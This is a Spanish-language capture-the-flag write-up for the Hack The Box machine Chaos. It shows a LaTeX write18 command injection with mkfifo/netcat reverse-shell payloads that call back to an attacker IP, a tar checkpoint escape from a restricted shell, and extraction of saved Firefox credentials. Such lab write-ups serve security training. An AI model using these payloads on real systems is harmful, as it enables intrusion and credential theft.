# Chaos

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FAkBk9FwwdF5NoS9IfEpd%2FChaos.png?alt=media&#x26;token=423f7e3c-2608-43c2-884f-66405690268f" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina Chaos, realizando una enumeración rápida de los servicios que se están ejecutando en el objetivo.

```
nmap -p- --open -Pn --min-rate 500 10.10.10.120
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgpjW3ziGtRYl7GIJECVZ%2Fimage.png?alt=media&#x26;token=95039dbb-3731-43f2-a4bd-f1520767c3c3" alt=""><figcaption></figcaption></figure>

Una vez conocemos los servicios disponibles, vamos a realizar una nueva enumeración más detallada para conocer más información de estos servicios.

```
nmap -p80,110,143,993,995,10000 -sVC -Pn 10.10.10.120
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQLEoqDQQ2nI6N8pOCyKp%2Fimage.png?alt=media&#x26;token=510fbb69-d2cf-4145-b867-dbdeb37ea7f3" alt=""><figcaption></figcaption></figure>

***VERSIONES***

* Puerto 80 -> HTTP ->Apache httpd 2.4.34
* Puerto 110 -> pop3 -> Dovecot pop3d
* Puerto 143 -> imap -> Dovecot imapd
* Puerto 993 -> imap / ssl -> Dovecot imapd
* Puerto 995 -> pop3 / ssl -> Dovecot pop3d
* Puerto 10000 -> http -> MiniServ 1.89

### Enumeración Web

En el puerto 80, se está ejecutando en servicio Web. Vamos a enumerar su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxpJmfn9wQhIw7Yng65k7%2Fimage.png?alt=media&#x26;token=891849c9-a90d-45f4-bae9-1d0d348eb1ba" alt=""><figcaption></figcaption></figure>

Enumeramos directorios y archivos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F56At8K18XHXKGKHEpM2W%2Fimage.png?alt=media&#x26;token=2aaaeae5-04d1-43f8-b4f5-b32b90597a97" alt=""><figcaption></figcaption></figure>

## Explotación

Durante la enumeración con dirsearch, encontramos la siguiente publicación protegida por contraseña.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FavpfQKzcMBp3U9F5wkaC%2Fimage.png?alt=media&#x26;token=2f8cd0d1-2099-4b15-be68-24604046b120" alt=""><figcaption></figcaption></figure>

Haciendo una enumeración tradicional de usuarios, encontramos el nombre de author: human, que utilizaremos como contraseña para desproteger la publicación.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIu1nyxM5PYmKW1OQk9Mg%2Fimage.png?alt=media&#x26;token=493419af-5f90-4def-80d1-b27bdb255c19" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQXLW7JHYn7gckVfNM8yH%2Fimage.png?alt=media&#x26;token=1308932c-7f46-4156-b924-5c9f6e310466" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales para el servicio Webmail. Vamos a comprobar si existe un subdominio o directorio con este nombre.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7oupO3IcAAAbz5vjP7E5%2Fimage.png?alt=media&#x26;token=42086a28-ee66-48ee-84c0-2d79da399bcf" alt=""><figcaption></figcaption></figure>

Encontramos un posible inicio de sesión. Vamos a comprobar si las credenciales son válidas. Utilizando las credenciales localizadas anteriormente, podemos acceder al servicio Webmail.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfNeSOhdnqPIU9awZjIzi%2Fimage.png?alt=media&#x26;token=a213257e-774f-4d17-a020-7b51871a1449" alt=""><figcaption></figcaption></figure>

Una vez hemos accedido, encontramos este email en Drafts. Contiene una serie de claves interesantes y dos archivos adjuntos que vamos a descargar en nuestra máquina de ataque.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FTIAXt5qRfF5VOnlEzj5y%2Fimage.png?alt=media&#x26;token=c45ad80d-e710-418a-9b58-39d30b479dc2" alt=""><figcaption></figcaption></figure>

Parece que tenemos una password.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FscRQz0eAm2JPhVD3wMEL%2Fimage.png?alt=media&#x26;token=c60c2039-e1fa-42b8-b391-a42b699799a6" alt=""><figcaption></figcaption></figure>

Y un mensaje cifrado. Y lo que parece el archivo utilizado para cifrar el mensaje.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRfnTrWMeTysiL7gfsXty%2Fimage.png?alt=media&#x26;token=4700dbbf-9ad6-4bbf-841a-ee690e82d2ed" alt=""><figcaption></figcaption></figure>

Vamos a tratar de buscar un descifrador para este mensaje.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfQvx1JqAu5TYL89w7nmh%2Fimage.png?alt=media&#x26;token=700ecf81-7b68-4801-a848-3cd6005ea03f" alt=""><figcaption></figcaption></figure>

Encontramos un posible descifrador para el archivo cifrado que tenemos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FTfSpO5RqeC7FFYX20e8K%2Fimage.png?alt=media&#x26;token=8849420f-2cf2-48e1-855b-aa8fec755d15" alt=""><figcaption></figcaption></figure>

Vamos a tratar de descifrar nuestro archivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDlteXvHSxKOaVqNTQEyl%2Fimage.png?alt=media&#x26;token=369ac51c-317b-48ef-8054-5e2be0c832a6" alt=""><figcaption></figcaption></figure>

La ejecución del script decrypt.py genera un archivo txt que contiene un cifrado en base64. Vamos a descifrarlo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fo7onKe1dqwovnU5Yp5Y2%2Fimage.png?alt=media&#x26;token=c44e23e7-76ca-4295-adf9-16676722ebf8" alt=""><figcaption></figcaption></figure>

Encontramos un URL en el mensaje cifrado. Vamos a ver el contenido de la dirección encontrada.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCsVzpnFsMEFQsuN6dmCS%2Fimage.png?alt=media&#x26;token=87c34795-59d7-41c4-a03a-fd1cc22b22fd" alt=""><figcaption></figcaption></figure>

Vamos a interceptar una petición, para comprobar que funciones tiene el endpoint encontrado.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxLdetgtIVoC4tPjt5BaM%2Fimage.png?alt=media&#x26;token=15153773-833e-4783-9914-78ec3d958a50" alt=""><figcaption></figcaption></figure>

Lo interesante es ver que \write18 está habilitado. Según esta [entrada de blog](https://otrashoui.xyz/chaos/#pdf-generator-exploit), podemos suponer que pdflatex se ejecuta con el flag --shell-escape, lo que nos permite ejecutar cualquier comando.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FKCuYvG6Ev0CGHHqCIODX%2Fimage.png?alt=media&#x26;token=dac85f72-e4a3-4fc5-bac6-65b3b5632645" alt=""><figcaption></figcaption></figure>

Podemos ejecutar comandos aprovechando una vulnerabilidad de LaTeX.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyEWAOb1xnjc7HEQHwaro%2Fimage.png?alt=media&#x26;token=db0f4d62-7888-47c2-9469-50fa6146401b" alt=""><figcaption></figcaption></figure>

Vamos a ejecutar el siguiente payload:

```
\immediate\write18{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f}
```

Convertimos a URL encoded:

```
\immediate\write18{rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.16.3+1234+>/tmp/f}
```

En nuestra máquina de ataque configuramos un oyente nc en el puerto 1234.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fj24UV8EWQANuCdKN9xKk%2Fimage.png?alt=media&#x26;token=4303cb33-c574-4712-b098-5c3f1cb4e9ff" alt=""><figcaption></figcaption></figure>

Tenemos acceso a la máquina objetivo. Convertimos la terminal en interactiva.

```
python -c 'import pty;pty.spawn ("/bin/bash")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FKvPOzHijUQvjZEQB2kcB%2Fimage.png?alt=media&#x26;token=f53daf00-c2f5-4db7-ae77-7a48ad43e7f8" alt=""><figcaption></figcaption></figure>

Vamos al directorio de usuarios, para tratar de localizar primero la flag de usuario y segundo, posibles vectores de elevación de privilegios.

## Pivotando de www-data a ayush

Cuando nos dirigimos al directorio de usuarios, encontramos dos nombres sahay y ayush.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2ikxay1DMAsaLJoNdfcI%2Fimage.png?alt=media&#x26;token=997ccde8-9c6b-4a28-8e52-b27a5e3c6828" alt=""><figcaption></figcaption></figure>

Para el usuario ayush, encontramos unas credenciales durante la enumeración de WP. Vamos a comprobar si estas credenciales son válidas en este momento.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3OmYGrK1GlYmvPqGipw9%2Fimage.png?alt=media&#x26;token=f0f399e0-7bc0-4cf4-8826-fa25e1c874b9" alt=""><figcaption></figcaption></figure>

Las credenciales son válidas pero accedemos con una terminal restricted. Vamos a tratar de saltar esta shell para obtener una completamente funcional. Guía interesante para [esto](https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf). Buscamos diferentes binarios que podemos ejecutar desde restricted shell y el comando tar es uno de ellos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJd6TJGqf4IiD7aT76QxX%2Fimage.png?alt=media&#x26;token=4f055f0a-3f9d-4f93-a7b2-aaaf91b5bf70" alt=""><figcaption></figcaption></figure>

Volvemos a www-data y vamos al directorio /tmp. En este directorio creamos un archivo securiters. El siguiente paso será añadir este archivo creado a un archivo securiters.tar. Una vez completado este proceso, volvemos a acceder al sistema con las credenciales del usuario ayush, donde ejecutaremos el archivo creado anteriormente para omitir el shell. Finalmente, arreglamos la ruta para obtener una shell funcional.

```
1. touch securiters
2. tar -cvf securiters.tar securiters
3. Acceder al sistema con las credenciales ayush:jiujitsu
4. tar cf /dev/null securiters.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash
<r --checkpoint=1 --checkpoint-action=exec=/bin/bash
5. export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6. id
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVInfaxWlnmBCurm5WLKj%2Fimage.png?alt=media&#x26;token=ec33c07e-ec88-460f-a161-10de36956712" alt=""><figcaption></figcaption></figure>

Una vez obtenemos la shell completamente funcional, vamos a localizar la flag de usuario.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FGnFnEA1LSkNwLKvwus2M%2Fimage.png?alt=media&#x26;token=7afbafd3-ee44-400f-8e5f-e0cde6f62022" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Dentro del directorio del usuario ayush, encontramos otro directorio .mozilla. Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FYsZFCthTpSSjUPIJRUnx%2Fimage.png?alt=media&#x26;token=9e03cd6b-5063-4e2c-b1b6-3cbf8de6170a" alt=""><figcaption></figcaption></figure>

Dentro del firefox, encontramos un perfil.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3K85DrSDX2Vf7afiNjiL%2Fimage.png?alt=media&#x26;token=ad59f7bb-59c1-499d-a36d-e11a169b3dab" alt=""><figcaption></figcaption></figure>

Vamos a transferir toda la información contenida en este perfil a nuestra máquina de ataque de la siguiente manera. En la máquina objetivo, configuramos en servidor Python en el puerto 1337.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQvIIWOCoKic0McqRVQyA%2Fimage.png?alt=media&#x26;token=099e0c7c-619c-43e1-9e1e-22fbbcdb18a7" alt=""><figcaption></figcaption></figure>

En nuestra máquina de ataque creamos un directorio firefox donde descargaremos todos los archivos y ejecutamos el siguiente comando para descargar todos los archivos.

```
wget http://chaos.htb:1337/ --recursive
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FeK7SRtxEefWJ35quopCo%2Fimage.png?alt=media&#x26;token=987a06e6-ca02-4789-8b14-c0a91f6a9259" alt=""><figcaption></figcaption></figure>

Una vez descargados todos los archivos, vamos a utilizar la herramienta firefox\_decrypt.py para descifrar información interesante de los archivos descargados. Se pide una contraseña, probamos con la credencial del usuario ayush:jiujitsu y es correcta.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7Ccoyzt0VU0wWBgthPVe%2Fimage.png?alt=media&#x26;token=0730bc85-0b8c-4e1a-9bd3-57a47c18b0b8" alt=""><figcaption></figcaption></figure>

Después de descifrar, obtenemos unas credenciales y un nuevo endpoint donde pueden ser válidas.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FelxGWRm6jKc3ee2brpqx%2Fimage.png?alt=media&#x26;token=07aa3f5c-9d61-496d-9d1a-28bb02d5fdd9" alt=""><figcaption></figcaption></figure>

Accedemos al Área de Administración del Servidor Web. Webmin tiene una funcionalidad de terminal que vamos a analizar.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FB6XmJN2X8Q1nv3wx0LXV%2Fimage.png?alt=media&#x26;token=0e0a2f30-e484-4a79-b138-168cb52f8a9f" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios pero vamos a acceder desde nuestra terminal de ataque. El payload utilizado es el siguiente:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fo37DStT3U6rLu5hLWgVx%2Fimage.png?alt=media&#x26;token=71e10768-2f84-4bf9-8950-7bf667ec9461" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUJR8DPMGGz1oyCurYKBq%2Fimage.png?alt=media&#x26;token=d8a77f9b-12b2-406e-9687-79cbbd4fb68f" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag root para completar la resolución de la máquina Chaos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fad9k8RIjmbq9hc9XRQm9%2Fimage.png?alt=media&#x26;token=d5869e27-0efa-4b6e-90e5-d476bee70a50" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?ab_channel=Securiters&v=8hu3nPI3qLs>" %}
